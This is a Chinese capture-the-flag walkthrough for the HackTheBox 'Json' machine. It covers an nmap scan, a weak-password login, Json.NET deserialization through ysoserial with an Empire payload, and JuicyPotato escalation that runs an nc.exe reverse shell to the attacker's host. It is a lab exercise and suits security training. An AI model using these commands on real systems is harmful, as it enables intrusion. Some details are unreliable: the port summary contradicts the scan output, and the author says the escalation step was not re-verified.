大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Json”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为中等级别,任务是找到靶机上的user.txt和root.txt。
nmap 扫出了 22 , 80 端口
nmap -sC -sV -p- -T4 10.10.10.158Host is up (0.052s latency).Not shown: 65521 closed portsPORT STATE SERVICE VERSION21/tcp open ftp FileZilla ftpd| ftp-syst:|_ SYST: UNIX emulated by FileZilla80/tcp open http Microsoft IIS httpd 8.5| http-methods:|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/8.5|_http-title: Json HTB135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49154/tcp open msrpc Microsoft Windows RPC49156/tcp open msrpc Microsoft Windows RPCService Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
主页登录盲猜弱口令
admin:admin
进去管理系统没什么功能
登录框抓包发现猫腻
改包为GET后发现bearer参数
bearer参数是json类型
把 json 参数打乱
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3",hello world}
发现json.net反序列
利用 ysoserial.exe 进行参数注入getshell
ysoserial.exe 配合 empire的powershell payload 获取shell
empire下操作:./empireuselistener httpset Host http://10.10.xx.xx:4444set Port 4444executebacklauncher powershell>>获得$$Empire payload$$
windows下操作:ysoserial.exe -g ObjectDataProvider -f json.net -c "$$Empire Payload$$" -o base64
获取user.txt
检查windows版本
(empire:XXXXXXX)shell systeminfo | findstr WindowsOS Name: Microsoft Windows Server 2012 R2 Datacenter
用户有 SeImpersonatePrivilege 权限
(empire:XXXXXXX)shell whoami /privPRIVILEGES INFORMATION----------------------
Privilege Name Description State============================= ========================================= ========SeAssignPrimaryTokenPrivilege Replace a process level token DisabledSeIncreaseQuotaPrivilege Adjust memory quotas for a process DisabledSeAuditPrivilege Generate security audits DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Disabled
windows server 2019之前可以使用 juicypotato 提权工具
依靠 SeImpersonatePrivilege 权限,我们应该可以提到 system 权限
nc -lvp 4444
(empire:XXXXXXX)cd \windows\temp(empire:XXXXXXX)shell copy \\10.10.xx.xx\n00B\JuicyPotato.exe .(empire:XXXXXXX)shell copy \\10.10.xx.xx\n00B\nc.exe .(empire:XXXXXXX)shell echo c:\windows\temp\nc.exe 10.10.xx.xx 4444 -e cmd.exe > start.bat(empire:XXXXXXX)shell JuicyPotato.exe -l 1337 -p C:\\windows\temp\start.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
获取root.txt,提权过程没时间复现,思路是对的。 ****
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有